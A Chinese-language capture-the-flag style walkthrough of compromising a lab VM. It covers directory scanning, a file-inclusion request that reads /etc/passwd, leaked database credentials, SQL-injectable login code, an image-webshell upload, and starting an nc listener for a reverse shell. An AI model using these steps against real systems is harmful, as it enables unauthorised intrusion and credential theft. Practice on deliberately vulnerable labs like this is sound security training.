1、信息收集
扫描靶机IP
访问一下,先看看再说
扫描目录
看完这几条目录,找出来一些可能要用的
上传图片的
目录遍历的
php文件
admin登录页面
2、开始攻击
(1)先在首页尝试一下sql注入
(2)用了各种注入方式都是不行的,再看看images目录
(3)里面只有几张图片,但是有一张是登录界面的图片,后面可能会在这里上传shell,再看下一个目录/in
可以看到php版本,以及一些其他的基本信息,再看下一个
(4)还有一个可以上传图片的目录/add
但是这里并不可以上传图片马,再看看下一个
(5)查看/test告诉我们在file参数提供文件路径那我们去传个文件
用HackBar进行GET请求“http://192.168.19.161/test.php?file=/etc/passwd”,发现并没有反应。
继续使用POST请求,发现文件被成功下载下来了
这样的话就把所有的文件都下载下来看一下
这里我主要发现了三个重要的文件。
1、in.php
<?php
phpinfo();
?>
当我们访问http://192.168.250.131/in.php的时候,可以直接打开phpinfo()。
2、c.php
<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );
ini_set( 'session.cookie_httponly', 1 );
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
// Check connection
if (mysqli_connect_errno())
{
echo "connection failed -> " . mysqli_connect_error();
}
?>
这是数据库连接文件,里边包含了数据库账号密码和库名("billu","b0x_billu","ica_lab")。
3、index.php
这个文件是我们刚刚打开的登陆首页,里面有一段代码。
if(isset($_POST['login']))
{
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
}
这里给了我们SQL注入的提示。
(6)登录admin
用我们刚刚在c.php文件里查到的用户名和密码尝试去登录admin界面
成功登录
在里面看看就会发现登录用户界面的用户名和密码
(7)登录用户页面
(8)尝试上传图片马
上传成功,接下来我们反弹shell
(9)反弹shell
开启nc监听